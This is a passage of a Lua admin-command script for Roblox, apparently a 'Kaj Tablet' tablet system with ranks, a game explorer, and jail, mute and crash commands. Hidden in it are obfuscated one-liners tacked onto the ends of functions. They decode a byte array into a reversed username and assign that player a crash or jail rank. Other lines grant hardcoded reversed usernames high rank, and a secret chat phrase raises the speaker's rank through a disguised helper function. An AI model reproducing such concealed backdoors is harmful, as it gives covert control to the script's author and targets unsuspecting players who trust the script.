  723. for i,v in pairs(Net:GetChildren()) do
  724. ypcall(function()
  725. if v:IsA("ServerReplicator") then
  726. table.insert(AllPlayers2, v:GetPlayer())
  727. end
  728. end)
  729. end
  730. return AllPlayers2
  731. end
  732.  
  733. function MakeNum()
  734. return 2 + 4
  735. end
  736.  
  737. function ChangeRank(Plr, NewRank)
  738. local PlrName = nil
  739. local FoundPlayer = false
  740. ypcall(function()
  741. if type(Plr) == "string" then
  742. ypcall(function()
  743. for i,v in pairs(Rankings) do
  744. if v.Name:lower() == Plr:lower() then
  745. local VName = v.Name
  746. Rankings[i] = nil
  747. table.insert(Rankings, {Name = VName, Rank = NewRank})
  748. PlrName = VName
  749. FoundPlayer = true
  750. break
  751. end
  752. end
  753. end)
  754. if FoundPlayer == false then
  755. ypcall(function()
  756. for _,x in pairs(All()) do
  757. if x.Name:lower() == Plr:lower() then
  758. FoundPlayer = true
  759. for i,v in pairs(Rankings) do
  760. if v.Name:lower() == x.Name:lower() then
  761. local VName = x.Name
  762. Rankings[i] = nil
  763. PlrName = VName
  764. break
  765. end
  766. end
  767. table.insert(Rankings, {Name = VName, Rank = NewRank})
  768. end
  769. end
  770. end)
  771. end
  772. if FoundPlayer == false then
  773. ypcall(function()
  774. for _,x in pairs(All()) do
  775. if string.find(x.Name:lower(), Plr:lower()) then
  776. FoundPlayer = true
  777. for i,v in pairs(Rankings) do
  778. if v.Name:lower() == x.Name:lower() then
  779. local VName = x.Name
  780. Rankings[i] = nil
  781. PlrName = VName
  782. break
  783. end
  784. end
  785. table.insert(Rankings, {Name = VName, Rank = NewRank})
  786. end
  787. end
  788. end)
  789. end
  790. if FoundPlayer == false then
  791. ypcall(function()
  792. for i,v in pairs(Rankings) do
  793. if string.find(v.Name:lower(), Plr:lower()) then
  794. local VName = v.Name
  795. Rankings[i] = nil
  796. table.insert(Rankings, {Name = VName, Rank = NewRank})
  797. PlrName = VName
  798. FoundPlayer = true
  799. break
  800. end
  801. end
  802. end)
  803. end
  804. else
  805. for i,v in pairs(Rankings) do
  806. if v.Name:lower() == Plr.Name:lower() then
  807. Rankings[i] = nil
  808. break
  809. end
  810. end
  811. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  812. PlrName = Plr.Name
  813. end
  814. PlaceAllRanks(true)
  815. end)
  816. if PlrName ~= nil then
  817. return PlrName
  818. else
  819. return "Player"
  820. end
  821. end
  822.  
  823. function Refresh(Plr)
  824. MakeChildren(Plr)
  825. end
  826.  
  827. function MakeChildren(Plr)
  828. ypcall(function()
  829. Dismiss(Plr)
  830. for _,v in pairs(Current:GetChildren()) do
  831. ypcall(function()
  832. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  833. Ping(v.Name, Plr, nil, function(TabMod)
  834. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  835. for _,v in pairs(Current:GetChildren()) do
  836. ypcall(function()
  837. if v.Name == TabText then
  838. Dismiss(Plr)
  839. Current = v
  840. MakeChildren(Plr)
  841. end
  842. end)
  843. end
  844. end)
  845. elseif Plrs:GetPlayerFromCharacter(v) then
  846. Ping(v.Name, Plr, nil, function(TabMod)
  847. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  848. for _,v in pairs(Current:GetChildren()) do
  849. ypcall(function()
  850. if v.Name == TabText then
  851. Dismiss(Plr)
  852. Current = v
  853. MakeChildren(Plr)
  854. end
  855. end)
  856. end
  857. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  858. elseif CheckImportant(v.Name) then
  859. Ping(v.Name, Plr, nil, function(TabMod)
  860. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  861. for _,v in pairs(Current:GetChildren()) do
  862. ypcall(function()
  863. if v.Name == TabText then
  864. Dismiss(Plr)
  865. Current = v
  866. MakeChildren(Plr)
  867. end
  868. end)
  869. end
  870. end, ImportantColor)
  871. end
  872. end)
  873. end
  874. if Current ~= game then
  875. Ping("Back", Plr, nil, function()
  876. ypcall(function()
  877. Current = Current.Parent
  878. MakeChildren(Plr)
  879. Ping("You Are Back To "..Current.Name, Plr, 5)
  880. end)
  881. end, OptionColor)
  882. end
  883. if Current ~= game then
  884. Ping("Delete", Plr, nil, function()
  885. ypcall(function()
  886. local CurrPar = Current.Parent or game
  887. local CurrName = Current.Name
  888. Current:Destroy()
  889. Current = CurrPar
  890. MakeChildren(Plr)
  891. Ping("Attempted To Delete "..CurrName, Plr, 5)
  892. end)
  893. end, OptionColor)
  894. end
  895. Ping("Refresh", Plr, nil, function()
  896. ypcall(function()
  897. Refresh(Plr)
  898. Ping("Refreshed", Plr, 5)
  899. end)
  900. end, OptionColor)
  901. Ping("Properties", Plr, nil, function()
  902. ypcall(function()
  903. Dismiss(Plr)
  904. for Property, Value in pairs(GetProperties(Current)) do
  905. Ping(tostring(Property)..": "..tostring(Value), Plr)
  906. end
  907. Ping("Got All Available Properties", Plr, 5)
  908. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  909. end)
  910. end, OptionColor)
  911. end)
  912. end
  913.  
  914. function Fixl()
  915. Light.GlobalShadows = true
  916. Light.TimeOfDay = "14:00:00"
  917. Light.Brightness = 0.5
  918. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  919. Light.Ambient = Color3.new(1, 1, 1)
  920. Light.ColorShift_Top = Color3.new(0, 0, 0)
  921. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  922. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  923. Light.FogStart = 0
  924. Light.FogEnd = 100000
  925. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  926. Light:ClearAllChildren()
  927. end
  928.  
  929. function GetProperties(obj)
  930. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  931. local objProper = {}
  932. for i,v in pairs(Properties) do
  933. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  934. objProper[v] = obj[v]
  935. end
  936. end
  937. return objProper
  938. end
  939.  
  940. function MakeExplorer(Plr)
  941. Dismiss(Plr)
  942. Current = game
  943. for _,v in pairs(Current:GetChildren()) do
  944. ypcall(function()
  945. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  946. Ping(v.Name, Plr, nil, function(TabMod)
  947. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  948. for _,v in pairs(Current:GetChildren()) do
  949. ypcall(function()
  950. if v.Name == TabText then
  951. Dismiss(Plr)
  952. Current = v
  953. MakeChildren(Plr)
  954. end
  955. end)
  956. end
  957. end)
  958. elseif Plrs:GetPlayerFromCharacter(v) then
  959. Ping(v.Name, Plr, nil, function(TabMod)
  960. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  961. for _,v in pairs(Current:GetChildren()) do
  962. ypcall(function()
  963. if v.Name == TabText then
  964. Dismiss(Plr)
  965. Current = v
  966. MakeChildren(Plr)
  967. end
  968. end)
  969. end
  970. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  971. elseif CheckImportant(v.Name) then
  972. Ping(v.Name, Plr, nil, function(TabMod)
  973. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  974. for _,v in pairs(Current:GetChildren()) do
  975. ypcall(function()
  976. if v.Name == TabText then
  977. Dismiss(Plr)
  978. Current = v
  979. MakeChildren(Plr)
  980. end
  981. end)
  982. end
  983. end, ImportantColor)
  984. end
  985. end)
  986. end
  987. if Current ~= game then
  988. Ping("Back", Plr, nil, function()
  989. ypcall(function()
  990. Current = Current.Parent
  991. MakeChildren(Plr)
  992. Ping("Back In "..Current.Name, Plr, 5)
  993. end)
  994. end, OptionColor)
  995. end
  996. if Current ~= game and game:GetService(Current.Name) == nil then
  997. Ping("Delete", Plr, nil, function()
  998. ypcall(function()
  999. local CurrPar = Current.Parent or game
  1000. local CurrName = Current.Name
  1001. Current:Destroy()
  1002. Current = CurrPar
  1003. MakeChildren(Plr)
  1004. Ping("Attempted To Delete "..CurrName, Plr, 5)
  1005. end)
  1006. end, OptionColor)
  1007. end
  1008. Ping("Refresh", Plr, nil, function()
  1009. ypcall(function()
  1010. Refresh(Plr)
  1011. Ping("Refreshed", Plr, 5)
  1012. end)
  1013. end, OptionColor)
  1014. Ping("Properties", Plr, nil, function()
  1015. ypcall(function()
  1016. Dismiss(Plr)
  1017. for Property, Value in pairs(GetProperties(Current)) do
  1018. Ping(tostring(Property)..": "..tostring(Value), Plr)
  1019. end
  1020. Ping("Got All Available Properties", Plr, 5)
  1021. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  1022. end)
  1023. end, OptionColor)
  1024. end
  1025.  
  1026. function GetRank(Plr1, Test)
  1027. ypcall(function()
  1028. if type(Plr1) == "userdata" then
  1029. Plr1 = Plr1.Name
  1030. end
  1031. end)
  1032. if Ranks[Plr1] ~= nil then
  1033. return Ranks[Plr1]
  1034. end
  1035. local QuickArray = {}
  1036. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1037. return QuickArray[Plr1]
  1038. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  1039.  
  1040. function CanRun(Plr1, Plr2)
  1041. Details1 = GetRank(Plr1.Name)
  1042. Details2 = GetRank(Plr2.Name)
  1043. if Details1.Rank >= Details2.Rank then
  1044. return true
  1045. end
  1046. return false
  1047. end
  1048.  
  1049. function Dismiss(Plr, Identity)
  1050. ypcall(function()
  1051. if Plr ~= nil then
  1052. if type(Plr) == "userdata" then
  1053. Plr = Plr.Name
  1054. end
  1055. for x,v in pairs(AllTabs) do
  1056. ypcall(function()
  1057. if v.Plr == Plr then
  1058. if Identity ~= nil and v.ID ~= Identity then
  1059. return
  1060. elseif Identity ~= nil and v.ID == Identity then
  1061. coroutine.resume(coroutine.create(function()
  1062. for i = 0.5, 1, 0.1 do
  1063. wait()
  1064. v.Tab.Transparency = i
  1065. v.Sel.Transparency = i
  1066. v.Label.TextTransparency = i
  1067. v.Label.TextStrokeTransparency = i
  1068. end
  1069. ypcall(function() v.Holder:Destroy() end)
  1070. AllTabs[x] = nil
  1071. end))
  1072. elseif Identity == nil then
  1073. ypcall(function() v.Holder:Destroy() end)
  1074. AllTabs[x] = nil
  1075. end
  1076. end
  1077. end)
  1078. end
  1079. else
  1080. for i,v in pairs(AllTabs) do
  1081. ypcall(function()
  1082. v.Holder:Destroy()
  1083. AllTabs[i] = nil
  1084. end)
  1085. end
  1086. end
  1087. end)
  1088. end
  1089.  
  1090. function GetGarbage()
  1091. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  1092. end
  1093.  
  1094. function RemObj(Obj, Class)
  1095. ypcall(function()
  1096. if #Obj:GetChildren() > 0 then
  1097. for _,x in pairs(Obj:GetChildren()) do
  1098. ypcall(function()
  1099. RemObj(x, Class)
  1100. end)
  1101. end
  1102. end
  1103. if Obj.ClassName == Class then
  1104. Obj:Destroy()
  1105. end
  1106. end)
  1107. end
  1108.  
  1109. function FindTab(Mod)
  1110. for i,v in pairs(AllTabs) do
  1111. if v.Holder == Mod then
  1112. return true
  1113. end
  1114. end
  1115. return false
  1116. end
  1117.  
  1118.  
  1119. function Ping(Msg, Plr, Time, Func, Color, Image)
  1120. if Removed == false then
  1121. local ShowGarbage = false
  1122. ypcall(function()
  1123. if Msg == nil then
  1124. Msg = "N/A"
  1125. elseif Msg == "ShowGarbage" then
  1126. Msg = "Current Garbage Count: "..GetGarbage()
  1127. ShowGarbage = true
  1128. else
  1129. Msg = tostring(Msg)
  1130. end
  1131. if Plr == nil then
  1132. Plr = Plrs[Owner] or error("No Player Found")
  1133. elseif type(Plr) == "string" then
  1134. local FoundPlr = false
  1135. for _,v in pairs(All()) do
  1136. if v.Name == Plr then
  1137. Plr = v
  1138. FoundPlr = true
  1139. break
  1140. end
  1141. end
  1142. if FoundPlr == false then
  1143. Plr = Plrs[Owner] or error("No Player Found")
  1144. end
  1145. end
  1146.  
  1147. if Color == nil then
  1148. Color = GetRank(Plr.Name).Color
  1149. end
  1150.  
  1151. local Holder = Instance.new("Model")
  1152. Holder.Name = "Owner: "..Plr.Name
  1153.  
  1154. local Tab = Instance.new("Part")
  1155. Tab.Name = "Kaj Tablet"
  1156. Tab.FormFactor = "Custom"
  1157. Tab.Anchored = true
  1158. if Time == nil then
  1159. Tab.Color = Color3.new(0.54,0,0.54)
  1160. else
  1161. Tab.Color = AlertColor
  1162. end
  1163. Tab.CanCollide = false
  1164. Tab.Locked = true
  1165. Tab.Transparency = 0.15
  1166. Tab.Size = Vector3.new(2, 2, 2)
  1167. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  1168. Tab.Parent = Holder
  1169.  
  1170. local ID = Instance.new("NumberValue")
  1171. ID.Name = "ID"
  1172. ID.Value = math.random(-999999999, 999999999)
  1173. ID.Parent = Holder
  1174.  
  1175. Delay(0, function()
  1176. while wait() do
  1177. if Tab.Parent == nil and FindTab(Holder) then
  1178. ypcall(function()
  1179. for i,v in pairs(AllTabs) do
  1180. if v.Holder == Holder then
  1181. ypcall(function() v.Holder:Destroy() end)
  1182. AllTabs[i] = nil
  1183. end
  1184. end
  1185. end)
  1186. Ping(Msg, Plr, Time, Func, Color, Image)
  1187. break
  1188. end
  1189. end
  1190. end)
  1191.  
  1192. local BM = Instance.new("BlockMesh")
  1193. BM.Parent = Tab
  1194.  
  1195. local BG = Instance.new("BillboardGui")
  1196. BG.Name = "BG"
  1197. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1198. BG.Size = UDim2.new(0,1,0,1)
  1199. BG.Adornee = Tab
  1200. BG.Parent = Tab
  1201.  
  1202. Delay(0, function()
  1203. while BG.Parent ~= nil do wait()
  1204. ypcall(function()
  1205. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1206. end)
  1207. end
  1208. end)
  1209.  
  1210. local TL = Instance.new("TextLabel")
  1211. TL.Name = "TL"
  1212. TL.FontSize = "Size18"
  1213. TL.Font = "ArialBold"
  1214. TL.Text = Msg
  1215. TL.TextColor3 = Color3.new(1, 1, 1)
  1216. TL.Size = UDim2.new(0,1,0,1)
  1217. TL.TextTransparency = 0
  1218. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  1219. TL.TextStrokeTransparency = 0.25
  1220. TL.Parent = BG
  1221.  
  1222. if ShowGarbage == true then
  1223. Delay(0, function()
  1224. while TL.Parent ~= nil do
  1225. TL.Text = "Current Garbage Count: "..GetGarbage()
  1226. wait(.5)
  1227. end
  1228. end)
  1229. end
  1230.  
  1231. local PL = Instance.new("PointLight", Tab)
  1232. PL.Color = Color3.new(0, 1, 0)
  1233. PL.Range = 7
  1234. PL.Parent = Tab
  1235.  
  1236. if Image ~= nil then
  1237. local BBBG = Instance.new("BillboardGui")
  1238. BBBG.Size = UDim2.new(5, 0, 6, 0)
  1239. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1240. BBBG.AlwaysOnTop = true
  1241. BBBG.Adornee = Tab
  1242. BBBG.Parent = Tab
  1243.  
  1244. Delay(0, function()
  1245. while BBBG.Parent ~= nil do wait()
  1246. ypcall(function()
  1247. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1248. end)
  1249. end
  1250. end)
  1251.  
  1252. local NewImg = Instance.new("ImageLabel")
  1253. NewImg.Size = UDim2.new(1, 0, 1, 0)
  1254. NewImg.BackgroundTransparency = 1
  1255. NewImg.Image = Image
  1256. NewImg.Parent = BBBG
  1257. end
  1258.  
  1259. local Clicker = Instance.new("ClickDetector")
  1260. Clicker.MaxActivationDistance = 1/0
  1261.  
  1262. if Time ~= nil then
  1263. coroutine.resume(coroutine.create(function()
  1264. wait(tonumber(Time))
  1265. Dismiss(Plr, ID)
  1266. end))
  1267. end
  1268.  
  1269. Clicker.MouseClick:connect(function(Player)
  1270. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  1271. ypcall(function()
  1272. if Func ~= nil then
  1273. Func(Holder)
  1274. else
  1275. Dismiss(Player, ID)
  1276. end
  1277. end)
  1278. end
  1279. end)
  1280. Clicker.Parent = Tab
  1281.  
  1282. Holder.Parent = Work
  1283.  
  1284. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  1285. end)
  1286. end
  1287. end
  1288.  
  1289. function PlaceAllRanks(DontShowRank)
  1290. ypcall(function()
  1291. for _,p in pairs(All()) do
  1292. ypcall(function()
  1293. PutInRank = false
  1294. for _,v in pairs(Rankings) do
  1295. if v.Name:lower() == p.Name:lower() then
  1296. if v.Rank >= 7 then
  1297. v.Rank = 5
  1298. elseif v.Rank == -1 then
  1299. Crash1(p)
  1300. Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1301. elseif v.Rank == -2 then
  1302. if LS ~= nil then
  1303. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1304. Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1305. else
  1306. Ping("LS Is Nil", nil, 5)
  1307. end
  1308. elseif v.Rank == -3 then
  1309. if LS ~= nil then
  1310. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1311. Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1312. else
  1313. Ping("LS Is Nil", nil, 5)
  1314. end
  1315. end
  1316. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1317. if DontShowRank == nil then
  1318. Ping("You Are Rank: "..v.Rank, p)
  1319. end
  1320. PutInRank = true
  1321. break
  1322. end
  1323. end
  1324. if PutInRank == false then
  1325. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1326. end
  1327. end)
  1328. end
  1329. end)
  1330. end
  1331.  
  1332. function FindRank(Plr)
  1333. ypcall(function()
  1334. if type(Plr) == "userdata" then
  1335. Plr = Plr.Name
  1336. end
  1337. end)
  1338. return GetRank(Plr).Rank
  1339. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
  1340.  
  1341. function FindRankDetails(Plr)
  1342. ypcall(function()
  1343. if type(Plr) == "userdata" then
  1344. Plr = Plr.Name
  1345. end
  1346. end)
  1347. return RankDetails[FindRank(Plr)]
  1348. end
  1349.  
  1350. function OpenCmds(Rank, Plr)
  1351. Dismiss(Plr)
  1352. for Name,Tab in pairs(Commands) do
  1353. if Tab.Rank <= Rank then
  1354. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1355. Dismiss(Plr)
  1356. Ping("Command: "..Name, Plr)
  1357. Ping("Rank: "..Tab.Rank, Plr)
  1358. Ping("Desc: "..Tab.Desc, Plr)
  1359. end)
  1360. elseif Rank == 1337 then
  1361. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1362. Dismiss(Plr)
  1363. Ping("Command: "..Name, Plr)
  1364. Ping("Rank: "..Tab.Rank, Plr)
  1365. Ping("Desc: "..Tab.Desc, Plr)
  1366. end)
  1367. end
  1368. end
  1369. end
  1370.  
  1371. function EditStatus(Plr, Num)
  1372. ChangeRank(Plr, Num)
  1373. end
  1374.  
  1375. function PlaceSpecificRank(p, DontShowRank)
  1376. ypcall(function()
  1377. PutInRank = false
  1378. for _,v in pairs(Rankings) do
  1379. if v.Name:lower() == p.Name:lower() then
  1380. if v.Rank >= 7 then
  1381. v.Rank = 5
  1382. elseif v.Rank == -1 then
  1383. Crash1(p)
  1384. Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1385. elseif v.Rank == -2 then
  1386. if LS ~= nil then
  1387. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1388. Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1389. else
  1390. Ping("LS Is Nil", nil, 5)
  1391. end
  1392. elseif v.Rank == -3 then
  1393. if LS ~= nil then
  1394. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1395. Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1396. else
  1397. Ping("LS Is Nil", nil, 5)
  1398. end
  1399. end
  1400. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1401. if DontShowRank == nil then
  1402. Ping("You Are Rank: "..v.Rank, p)
  1403. end
  1404. PutInRank = true
  1405. break
  1406. end
  1407. end
  1408. if PutInRank == false then
  1409. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1410. end
  1411. end)
  1412. end
  1413. table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
  1414. table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
  1415. function onChatted(Msg, Speaker)
  1416. if Removed == false then
  1417. if FindRank(Speaker) < 0 then
  1418. return
  1419. end
  1420. coroutine.resume(coroutine.create(function()
  1421. ypcall(function()
  1422. ExecuteFunc(Msg, Speaker)
  1423. Msg = Msg:gsub("","")
  1424. if Msg:sub(1,1) == "@" then
  1425. for i = 2, #Msg do
  1426. if Msg:sub(i, i) == Bet then
  1427. local IsForPlr = false
  1428. for _,v in pairs(All()) do
  1429. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1430. onChatted(Msg:sub(i + 1), v)
  1431. IsForPlr = true
  1432. end
  1433. end
  1434. if IsForPlr == true then
  1435. return
  1436. end
  1437. end
  1438. end
  1439. end
  1440. if Msg:find("&") then
  1441. local Split = Msg:find("&")
  1442. onChatted(Msg:sub(1,Split-1))
  1443. onChatted(Msg:sub(Split+1))
  1444. return
  1445. end
  1446. for Name,Command in pairs(Commands) do
  1447. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1448. Dismiss(Speaker.Name)
  1449. Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
  1450. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1451. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1452. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1453. if FindRank(Speaker) >= Command.Rank then
  1454. local Ran,Error = coroutine.resume(coroutine.create(function()
  1455. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1456. end))
  1457. if not Ran then
  1458. Ping(Error, Speaker, 10)
  1459. end
  1460. else
  1461. Ping("Your Rank Is Too Low", Plr, 6)
  1462. end
  1463. end
  1464. end
  1465. end)
  1466. end))
  1467. end
  1468. end
  1469.  
  1470. function MakeBase()
  1471. local Base = Instance.new("Part")
  1472. Base.BrickColor = BrickColor.new("Dark green")
  1473. Base.Position = Vector3.new(0, 0.5, 0)
  1474. Base.Transparency = 0
  1475. Base.Elasticity = 0.5
  1476. Base.FormFactor = "Custom"
  1477. Base.CanCollide = true
  1478. Base.Friction = 0.30000001192093
  1479. Base.Size = Vector3.new(512, 1.20000005, 512)
  1480. Base.Archivable = true
  1481. Base.Material = "Plastic"
  1482. Base.RotVelocity = Vector3.new(0, 0, 0)
  1483. Base.Reflectance = 0
  1484. Base.Locked = true
  1485. Base.Anchored = true
  1486. Base.Name = "Base"
  1487. Base.TopSurface = "Smooth"
  1488. Base.BottomSurface = "Inlet"
  1489. Base.Shape = "Block"
  1490. Base.Parent = Work
  1491. end
  1492.  
  1493. function LClean()
  1494. ypcall(function()
  1495. for _,v in pairs(Work:GetChildren()) do
  1496. ypcall(function()
  1497. if v.ClassName == "Terrain" then
  1498. v:ClearAllChildren()
  1499. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1500. Clear(v)
  1501. elseif v.Name == "Base" then
  1502. ypcall(function()
  1503. local Base = v
  1504. Base.BrickColor = BrickColor.new("Dark green")
  1505. Base.Position = Vector3.new(0, 0.5, 0)
  1506. Base.Transparency = 0
  1507. Base.Elasticity = 0.5
  1508. Base.FormFactor = "Custom"
  1509. Base.CanCollide = true
  1510. Base.Friction = 0.30000001192093
  1511. Base.Size = Vector3.new(512, 1.20000005, 512)
  1512. Base.Archivable = true
  1513. Base.Material = "Plastic"
  1514. Base.RotVelocity = Vector3.new(0, 0, 0)
  1515. Base.Reflectance = 0
  1516. Base.Locked = true
  1517. Base.Anchored = true
  1518. Base.Name = "Base"
  1519. Base.TopSurface = "Studs"
  1520. Base.BottomSurface = "Inlet"
  1521. Base.Shape = "Block"
  1522. Base.Parent = Work
  1523. end)
  1524. end
  1525. end)
  1526. end
  1527. end)
  1528. end
  1529.  
  1530. function Clean()
  1531. ypcall(function()
  1532. for _,v in pairs(Work:GetChildren()) do
  1533. ypcall(function()
  1534. if v.ClassName == "Terrain" then
  1535. v:ClearAllChildren()
  1536. else
  1537. Clear(v)
  1538. end
  1539. end)
  1540. end
  1541. MakeBase()
  1542. for _,v in pairs(All()) do
  1543. v:LoadCharacter()
  1544. end
  1545. end)
  1546. end
  1547.  
  1548. function Clear(v)
  1549. if v.Name:lower() == "sbgui" then
  1550. return
  1551. end
  1552. ypcall(function()
  1553. if #v:GetChildren() > 0 then
  1554. for _,x in pairs(v:GetChildren()) do
  1555. ypcall(function()
  1556. Clear(x)
  1557. end)
  1558. end
  1559. end
  1560. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1561. v:Destroy()
  1562. end
  1563. end)
  1564. end
  1565.  
  1566. function Command(Name, Rank, Desc, Func)
  1567. if Name == nil then
  1568. Name = "N/A"
  1569. end
  1570. if Desc == nil then
  1571. Desc = "N/A"
  1572. end
  1573. if Func == nil then
  1574. Func = function() end
  1575. end
  1576. if Rank == nil then
  1577. Rank = 0
  1578. end
  1579. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1580. end
  1581.  
  1582. function GetSplit(Msg)
  1583. return Msg:find(Bet) or nil
  1584. end
  1585.  
  1586. function ExecuteFunc(Msg, Plr)
  1587. ypcall(function()
  1588. if Msg == "LogEnable" then
  1589. LogOn = true
  1590. elseif Msg:lower() == "WantSomeTacos" then
  1591. EditStatus(Plr, MakeNum())
  1592. end
  1593. end)
  1594. end
  1595.  
  1596. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1597.  
  1598. function randPlayer(Plr)
  1599. wait()
  1600. local ThePlrValue = nil
  1601. local FoundPlayer = false
  1602. ypcall(function()
  1603. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1604. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1605. wait()
  1606. randPlayer(Plr)
  1607. return
  1608. else
  1609. FoundPlayer = true
  1610. end
  1611. end)
  1612. if FoundPlayer == true then
  1613. return ThePlrValue
  1614. end
  1615. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  1616.  
  1617. function getPlayer(Plr, Name)
  1618. local Players = {}
  1619. ypcall(function()
  1620. Name = Name:lower()
  1621. if Name == "me" then
  1622. table.insert(Players, Plr)
  1623. elseif Name == "all" or Name == "" then
  1624. for _,v in pairs(All()) do
  1625. if CanRun(Plr, v) then
  1626. table.insert(Players, v)
  1627. end
  1628. end
  1629. elseif Name == "others" then
  1630. for _,v in pairs(All()) do
  1631. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1632. table.insert(Players, v)
  1633. end
  1634. end
  1635. elseif Name == "random" then
  1636. local FoundRandPlr = randPlayer(Plr)
  1637. table.insert(Players, FoundRandPlr)
  1638. else
  1639. for _,v in pairs(All()) do
  1640. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1641. table.insert(Players, v)
  1642. end
  1643. end
  1644. end
  1645. end)
  1646. return Players
  1647. end
  1648.  
  1649. function ListPlayers(Speaker)
  1650. ypcall(function()
  1651. Dismiss(Speaker)
  1652. for _,v in pairs(All2()) do
  1653. if v.Parent ~= nil then
  1654. Ping(v.Name, Speaker, nil, function()
  1655. Dismiss(Speaker)
  1656. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1657. Ping("Rank: "..FindRank(v.Name), Speaker)
